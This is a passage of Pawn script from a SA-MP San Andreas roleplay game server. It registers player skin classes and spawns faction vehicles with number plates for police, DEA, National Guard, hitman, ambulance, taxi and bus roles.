CreateDynamicObject(986, 1236.74731, 667.37958, 7.02601,   0.00000, 0.00000, -204.65996);
CreateDynamicObject(986, 1229.46252, 670.68616, 7.02601,   0.00000, 0.00000, -204.65996);
CreateDynamicObject(986, 1223.57544, 675.65100, 7.01493,   0.00000, 0.00000, -235.67990);
CreateDynamicObject(986, 1221.82288, 678.22198, 7.02601,   0.00000, 0.00000, -235.67990);
CreateDynamicObject(986, 1221.82288, 678.22198, 10.84152,   0.00000, 0.00000, -235.67990);
*/

	//=--------------------------------------------------------------------------------------------------------=/
	AddPlayerClass(1,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(2,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(3,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(4,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(5,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(6,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(7,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(9,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(10,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(11,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(12,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(13,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(14,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(15,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(16,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(17,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(18,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(19,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(20,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(21,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(22,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(23,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(24,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(25,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(26,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(27,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(28,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(29,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(30,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(31,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(32,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(33,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(34,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(35,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(36,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(37,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(38,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(39,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(40,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(41,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(43,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(44,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(45,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(47,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(48,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(49,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(51,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(52,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(53,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(54,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(57,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(58,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(66,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(67,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(68,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(69,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(72,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(73,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(76,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(77,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(78,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(79,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(80,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(81,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(82,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(83,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(84,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(88,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(91,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(94,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(95,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(96,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(97,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(128,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(129,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(130,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(132,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(133,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(134,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(135,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(136,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(137,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(142,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(143,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(144,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(155,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(156,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(157,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(158,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(159,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(160,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(161,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(162,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(167,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(168,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(170,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(176,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(177,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(179,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(180,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(181,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(182,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(183,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(184,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(189,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(191,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(193,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(196,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(197,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(198,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(200,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(201,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(202,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(209,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(210,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(212,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(215,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(220,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(221,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(222,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(224,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(229,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(230,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(231,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(232,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(234,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(235,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(236,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(239,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(241,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(242,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(254,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(258,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(260,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(262,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(264,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(273,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(293,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(297,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	AddPlayerClass(299,1180.3374,-1181.2975,90.8448,0.0,0,0,0,0,0,0);
	// CreatedCars check
	for(new i = 0; i < sizeof(CreatedCars); i++)
	{
	   CreatedCars[i] = 0;
	}
	for(new i = 0; i < sizeof(EventCars); i++)
	{
		EventCars[i] = 0;
	}
//-----------------------------------------------
	   //--------------------------------------------------------------------------National Guard
	SetVehicleNumberPlate(carcopx53=AddStaticVehicleEx(425,201.58865356,1889.67016602,18.49905777,0.00000000,-1,-1,900), "NG Car"); //Hunter 1
	SetVehicleNumberPlate(carcopx54=AddStaticVehicleEx(425,225.55419922,1888.40429688,18.49905777,0.00000000,-1,-1,900), "NG Car"); //Hunter 2
	SetVehicleNumberPlate(carcopx55=AddStaticVehicleEx(470,220.19429016,1916.51953125,17.75063705,180.00000000,-1,-1,900), "NG Car"); //Patriot 3
	SetVehicleNumberPlate(carcopx56=AddStaticVehicleEx(470,202.64733887,1916.58215332,17.75063705,180.00000000,-1,-1,900), "NG Car"); //Patriot 4
	SetVehicleNumberPlate(carcopx57=AddStaticVehicleEx(470,142.87440491,1932.31274414,19.34546089,177.99993896,-1,-1,900), "NG Car"); //Patriot 5
	SetVehicleNumberPlate(carcopx58=AddStaticVehicleEx(470,117.37454987,1889.83227539,18.42624000,0.00000000,-1,-1,900), "NG Car"); //Rhino 6
	SetVehicleNumberPlate(carcopx59=AddStaticVehicleEx(470,118.77082062,1828.45202637,18.42620468,272.00000000,-1,-1,900), "NG Car"); //Rhino 7
	SetVehicleNumberPlate(carcopx60=AddStaticVehicleEx(520,308.33303833,1812.12414551,18.56019974,181.99993896,-1,-1,900), "NG Car"); //Hydra 8
	SetVehicleNumberPlate(carcopx61=AddStaticVehicleEx(520,307.62231445,1833.62060547,18.56019974,181.99951172,-1,-1,900), "NG Car"); //Hydra 9
	SetVehicleNumberPlate(carcopx62=AddStaticVehicleEx(520,306.54922485,1857.09973145,18.56019974,181.99951172,-1,-1,900), "NG Car"); //Hydra 10
	SetVehicleNumberPlate(carcopx63=AddStaticVehicleEx(425,307.88702393,2047.22192383,18.49162483,179.99993896,-1,-1,900), "NG Car"); //Hunter 11
	SetVehicleNumberPlate(carcopx64=AddStaticVehicleEx(476,271.90625000,2018.24267578,18.21062469,272.00000000,-1,-1,900), "NG Car"); //Barracks 12
	SetVehicleNumberPlate(carcopx65=AddStaticVehicleEx(476,271.92376709,2028.49218750,18.21062469,271.99951172,-1,-1,900), "NG Car"); //Barracks 13
	SetVehicleNumberPlate(carcopx66=AddStaticVehicleEx(476,272.01632690,1956.70092773,18.21062469,271.99951172,-1,-1,900), "NG Car"); //Barracks 14
	SetVehicleNumberPlate(carcopx67=AddStaticVehicleEx(476,272.09646606,1989.10717773,18.21062469,271.99951172,-1,-1,900), "NG Car"); //Barracks 15
	//--------------------------------------------------------------------------Police Departament
	SetVehicleNumberPlate(carcopx38=AddStaticVehicleEx(596,1535.87634277,-1666.99902344,13.20281219,0.00000000,0,1,900), "LSPD 015"); //Police Car (LSPD) 16
	SetVehicleNumberPlate(carcopx39=AddStaticVehicleEx(596,1535.87597656,-1678.02929688,13.20281219,0.00000000,0,1,900), "LSPD 124"); //Police Car (LSPD) 17
	SetVehicleNumberPlate(carcopx40=AddStaticVehicleEx(523,1559.90002441,-1616.33459473,13.04319000,184.00000000,-1,-1,900), "LSPD 154"); //HPV1000 18
	SetVehicleNumberPlate(carcopx41=AddStaticVehicleEx(523,1557.25683594,-1616.33398438,13.04319000,183.99902344,-1,-1,900), "LSPD 001"); //HPV1000 19
	SetVehicleNumberPlate(carcopx42=AddStaticVehicleEx(523,1567.69995117,-1616.33459473,13.04319000,184.00000000,-1,-1,900), "LSPD 451"); //HPV1000 20
	SetVehicleNumberPlate(carcopx43=AddStaticVehicleEx(523,1562.67968750,-1616.33398438,13.04319000,183.99902344,-1,-1,900), "LSPD 120"); //HPV1000 21
	SetVehicleNumberPlate(carcopx44=AddStaticVehicleEx(523,1565.19921875,-1616.33398438,13.04319000,183.99902344,-1,-1,900), "LSPD 785"); //HPV1000 22
	SetVehicleNumberPlate(carcopx45=AddStaticVehicleEx(596,1604.35913086,-1615.85778809,13.32752323,90.00000000,0,1,900), "LSPD 005"); //Police Car (LSPD) 23
	SetVehicleNumberPlate(carcopx46=AddStaticVehicleEx(599,1585.50451660,-1667.61010742,6.27707338,270.00000000,0,1,900), "LSPD 471"); //Police Ranger 24
	SetVehicleNumberPlate(carcopx47=AddStaticVehicleEx(596,1601.30493164,-1691.87841797,5.71062469,90.00000000,0,1,900), "LSPD 487"); //Police Car (LSPD) 25
	SetVehicleNumberPlate(carcopx48=AddStaticVehicleEx(596,1583.47998047,-1710.84545898,6.21075153,0.00000000,0,1,900), "LSPD 899"); //Police car (LSPD) 26
	SetVehicleNumberPlate(carcopx49=AddStaticVehicleEx(596,1558.97167969,-1710.34448242,6.13862514,0.00000000,0,1,900), "LSPD 999"); //Police Car 27
	SetVehicleNumberPlate(carcopx50=AddStaticVehicleEx(523,1560.24035645,-1694.89086914,5.55736876,177.99993896,-1,-1,900), "LSPD 111"); //HPV1000 28
	SetVehicleNumberPlate(carcopx51=AddStaticVehicleEx(523,1570.47985840,-1694.90087891,5.55736876,177.99499512,-1,-1,900), "LSPD 222"); //HPV1000 29
	SetVehicleNumberPlate(carcopx52=AddStaticVehicleEx(596,1528.81286621,-1683.77429199,5.71062469,270.00000000,0,1,900), "LSPD 412"); //Police Car (LSPD) 30
	infer1 = AddStaticVehicleEx(522,1548.105224,-1670.722778,13.566993,90.00000000,0,1,900); //Police NRG 31
	infer2 = AddStaticVehicleEx(522,1547.810058,-1680.226440,13.130352,90.00000000,0,1,900); //Police NRG 32
	infer3 = AddStaticVehicleEx(411,1538.93115234,-1645.21472168,5.82083368,180.00000000,1,1,900); //police infer 33
	infer4 = AddStaticVehicleEx(411,1526.62475586,-1644.60534668,6.07562494,179.99993896,1,1,900); //Police Infer 34
	infer5 = AddStaticVehicleEx(411,1545.14721680,-1654.73608398,6.21075153,90.00000000,1,1,900); //Police infer 35
	SetVehicleNumberPlate(carcopx35=AddStaticVehicleEx(596,1545.01232910,-1663.06811523,5.71062469,90.00000000,0,1,900), "LSPD 128"); //Police Car (LSPD) 36
	SetVehicleNumberPlate(carcopx36=AddStaticVehicleEx(599,1574.41711426,-1711.34216309,6.27575159,0.00000000,0,1,900), "LSPD 130"); //Police Ranger 37
	SetVehicleNumberPlate(carcopx37=AddStaticVehicleEx(599,1545.29406738,-1667.96044922,6.27575159,90.00000000,0,1,900), "LSPD 780"); //Police Ranger 38
	//--------------------------------------------------------------------------DEA
	SetVehicleNumberPlate(carcopx22=AddStaticVehicleEx(497,2315.28369141,2452.77416992,11.08531284,182.00000000,0,1,900), "DEA 421"); //Police Maverick DEA LV 39
	SetVehicleNumberPlate(carcopx23=AddStaticVehicleEx(598,2273.60009766,2443.59155273,10.69031239,0.00000000,0,1,900), "DEA 012"); //Police Car (LVPD) DEA LV 40
	SetVehicleNumberPlate(carcopx24=AddStaticVehicleEx(598,2256.00000000,2476.75341797,10.69031239,180.00000000,0,1,900), "DEA 001"); //Police Car (LVPD) DEA LV 41
	SetVehicleNumberPlate(carcopx25=AddStaticVehicleEx(598,2277.76660156,2477.46215820,11.00531197,180.00000000,0,1,900), "DEA 256"); //DEA Truck DEA LV 42
	SetVehicleNumberPlate(carcopx26=AddStaticVehicleEx(490,2256.11889648,2442.89990234,11.14043903,0.00000000,0,0,900), "DEA 158"); //DEA Rancher DEA LV 43
	SetVehicleNumberPlate(carcopx27=AddStaticVehicleEx(490,2314.77197266,2490.27026367,3.59356403,90.00000000,0,0,900), "DEA 146"); //DEA Rancher DEA LV 44
	SetVehicleNumberPlate(carcopx28=AddStaticVehicleEx(598,2294.62231445,2430.85986328,3.45843744,0.00000000,0,1,900), "DEA 457"); //DEA Truck DEA LV 45
	SetVehicleNumberPlate(carcopx29=AddStaticVehicleEx(598,2268.38378906,2431.40649414,3.52143764,0.00000000,0,1,900), "DEA 123"); //Enforcer DEA LV 46
	SetVehicleNumberPlate(carcopx30=AddStaticVehicleEx(598,2240.64038086,2466.12719727,3.52143764,270.00000000,0,1,900), "DEA 400"); //Enforcer DEA LV 47
	SetVehicleNumberPlate(carcopx31=AddStaticVehicleEx(598,2277.00366211,2474.64453125,3.45843744,0.00000000,0,1,900), "DEA 242"); //DEA Truck DEA LV 48
	SetVehicleNumberPlate(carcopx32=AddStaticVehicleEx(490,2314.48754883,2460.38500977,3.59356403,90.00000000,0,0,900), "DEA 240"); //DEA Rancher DEA LV 49
	SetVehicleNumberPlate(carcopx33=AddStaticVehicleEx(522,2281.00366211,2431.39282227,10.48069000,222.00000000,0,1,900), "DEA 696"); //FCR-900 DEA LV 50
	SetVehicleNumberPlate(carcopx34=AddStaticVehicleEx(522,2299.62451172,2431.67456055,10.48069000,135.99523926,0,1,900), "DEA 845"); //FCR-900 DEA LV 51
	bullet1 = AddStaticVehicleEx(541,2282.54956055,2418.89257812,10.62528801,270.00000000,1,1,900);
	bullet2 = AddStaticVehicleEx(541,2303.06958008,2418.88232422,10.62528801,270.00000000,1,1,900);
	SetVehicleNumberPlate(bullet1,"DEA 862");
	SetVehicleNumberPlate(bullet2,"DEA 863");
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(carcopx20=AddStaticVehicleEx(599,1595.40002441,-1711.31799316,6.27575159,0.00000000,0,1,900), "LSPD 018"); //Police Ranger 54
	SetVehicleNumberPlate(carcopx21=AddStaticVehicleEx(497,1563.43750000,-1654.00793457,28.66060638,90.00000000,0,1,900), "LSPD 777"); //Police Maverick 55
	/*----------------------------------------------------------------------------*///
	hitmav = AddStaticVehicleEx(487,1086.46423340,-292.47821045,74.25718689,138.00000000,0,0,900); //Maverick 56 Hitman
	AddStaticVehicleEx(466, 1134.8134, 2242.3945, 16.3882, 90.0000, -1, -1, 900);
	/*----------------------------------------------------------------------------*///
	amb1 = AddStaticVehicleEx(416,1179.00000000,-1339.03942871,13.87588120,268.00000000,1,3,900); //Ambulance LS 58
	amb2 = AddStaticVehicleEx(416,1179.00000000,-1308.55395508,13.87588120,267.99499512,1,3,900); //Ambulance LS 59
	amb3 = AddStaticVehicleEx(407,1750.71472168,2077.48583984,11.19031239,179.99993896,3,1,900); //Firetruck LV f/p 60
	amb4 = AddStaticVehicleEx(407,1763.40002441,2077.48535156,11.19031239,179.99450684,3,1,900); //Firetruck LV f/p 61
	amb5 = AddStaticVehicleEx(416,1583.71789551,1807.50390625,11.11988831,0.00000000,1,3,900); //Ambulance LV 62
	amb6 = AddStaticVehicleEx(416,1624.01892090,1819.05505371,11.11988831,4.00000000,1,3,900); //Ambulance LV 63
	amb7 = AddStaticVehicleEx(416,1579.83215332,1752.59997559,11.11988831,0.00000000,1,3,900); //Ambulance LV 64
	amb8 = AddStaticVehicleEx(416,1579.83276367,1774.25488281,11.11988831,180.00000000,1,3,900); //Ambulance LV 65
	/*----------------------------------------------------------------------------*///
	hitmav1 = AddStaticVehicleEx(402,1077.50000000,-294.40994263,73.92505646,180.00000000,0,0,900); //Buffalo 66 Hitman
	hitmav2 = AddStaticVehicleEx(402,1067.36035156,-294.40917969,73.92505646,180.00000000,0,0,900); //Buffalo 67 Hitman
	hitmav3 = AddStaticVehicleEx(402,1072.39941406,-294.40917969,73.92505646,180.00000000,0,0,900); //Buffalo 68 Hitman
	/*----------------------------------------------------------------------------*///
	buscarx13=AddStaticVehicleEx(431, 1804.7834, -2025.3192, 13.5706, 90.0000, -1, -1, 100);
	buscarx14=AddStaticVehicleEx(431, 1804.7834, -2032.7922, 13.5706, 90.0000, -1, -1, 100);
	/*----------------------------------------------------------------------------*///
	SetVehicleNumberPlate(taxicarx1=AddStaticVehicleEx(560,1774.46984863,-1927.15917969,13.23526382,0.00000000,6,-1,900), "TAXI Lux"); //Taxi 71
	SetVehicleNumberPlate(taxicarx2=AddStaticVehicleEx(560,1774.46362305,-1906.14965820,13.23526382,0.00000000,6,-1,900), "TAXI Lux"); //Taxi 72
	SetVehicleNumberPlate(taxicarx3=AddStaticVehicleEx(420,1806.83483887,-1927.15808105,13.23526382,0.00000000,6,-1,900), "TAXI 77"); //Taxi 73
	SetVehicleNumberPlate(taxicarx4=AddStaticVehicleEx(420,1780.05847168,-1932.61279297,13.23699188,0.00000000,6,1,900), "TAXI 45"); //Taxi 74
	SetVehicleNumberPlate(taxicarx5=AddStaticVehicleEx(420,1801.83264160,-1932.48669434,13.23699188,0.00000000,6,1,900), "TAXI 65"); //Taxi 75
	SetVehicleNumberPlate(taxicarx6=AddStaticVehicleEx(420,1807.03100586,-1906.13208008,13.23526382,0.00000000,6,-1,900), "TAXI 15"); //Taxi 76
	SetVehicleNumberPlate(taxicarx7=AddStaticVehicleEx(420,951.81646729,1708.90002441,8.49843693,270.00000000,6,1,900), "TAXI 14"); //Taxi 77
	SetVehicleNumberPlate(taxicarx8=AddStaticVehicleEx(420,951.81640625,1757.69995117,8.49843693,270.00000000,6,1,900), "TAXI 44"); //Taxi 78
	SetVehicleNumberPlate(taxicarx9=AddStaticVehicleEx(420,951.81640625,1748.90002441,8.49843693,270.00000000,6,1,900), "TAXI 47"); //Taxi 79
	SetVehicleNumberPlate(taxicarx10=AddStaticVehicleEx(420,951.81640625,1717.69921875,8.49843693,270.00000000,6,1,900), "TAXI 54"); //Taxi 80

	/*----------------------------------------------------------------------------*///
	/*SetVehicleNumberPlate(AddStaticVehicleEx(582, -333.5542, 1515.3384, 75.5144, 0.0000, 112, 116, 900), "Reporter");
	SetVehicleNumberPlate(AddStaticVehicleEx(582, -321.0354, 1515.3384, 75.5144, 0.0000, 112, 116, 900), "Reporter");
	SetVehicleNumberPlate(AddStaticVehicleEx(582, -265.7741, 1542.2246, 75.5144, 136.0000, -1, -1, 900), "Reporter");
	SetVehicleNumberPlate(AddStaticVehicleEx(582, -270.6687, 1547.2502, 75.5144, 135.0000, -1, -1, 900), "Reporter");
	CreateVehicle(582, -333.5542, 1515.3384, 75.5144, 0.0000, -1, -1, 100);
	CreateVehicle(582, -321.0354, 1515.3384, 75.5144, 0.0000, -1, -1, 100);
	CreateVehicle(582, -265.7741, 1542.2246, 75.5144, 136.0000, -1, -1, 100);
	CreateVehicle(582, -270.6687, 1547.2502, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -339.8319, 1515.3384, 75.5144, 0.0000, -1, -1, 100);
	CreateVehicle(582, -314.8632, 1515.3384, 75.5144, 0.0000, -1, -1, 100);
	CreateVehicle(582, -300.3568, 1576.9111, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -295.5493, 1571.7897, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -290.6350, 1566.9620, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -285.5366, 1561.9629, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -275.6453, 1552.1130, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -280.5321, 1557.1832, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -305.3265, 1581.9385, 75.5144, 135.0000, -1, -1, 100);
	CreateVehicle(582, -327.3023, 1515.3384, 75.5144, 0.0000, -1, -1, 100);
	CreateVehicle(582, -346.1078, 1515.3384, 75.5144, 0.0000, -1, -1, 100);*/



	//SetVehicleNumberPlate(newsrpx1=AddStaticVehicleEx(582,642.690795,-1350.997070,13.515423,178.906845,112,116,900), "Reporter"); //Newsvan 81 lv
	//SetVehicleNumberPlate(newsrpx2=AddStaticVehicleEx(582,754.633850,-1355.240234,13.562253,270.516693,112,116,900), "Reporter"); //Newsvan 82 lv
	//SetVehicleNumberPlate(newsrpx3=AddStaticVehicleEx(582,768.650146,-1380.141113,13.713937,359.634704,119,101,900), "Reporter"); //Newsvan 83 lv
	//SetVehicleNumberPlate(newsrpx4=AddStaticVehicleEx(582,642.565124,-1371.175415,13.621164,0,116,112,900), "Reporter"); //Newsvan 84 lv
	//SetVehicleNumberPlate(newsrpx5=AddStaticVehicleEx(488,742.541320,-1367.686035,25.877153 ,178.676940,2,111,900), "Reporter"); //News Chopper 85 lv
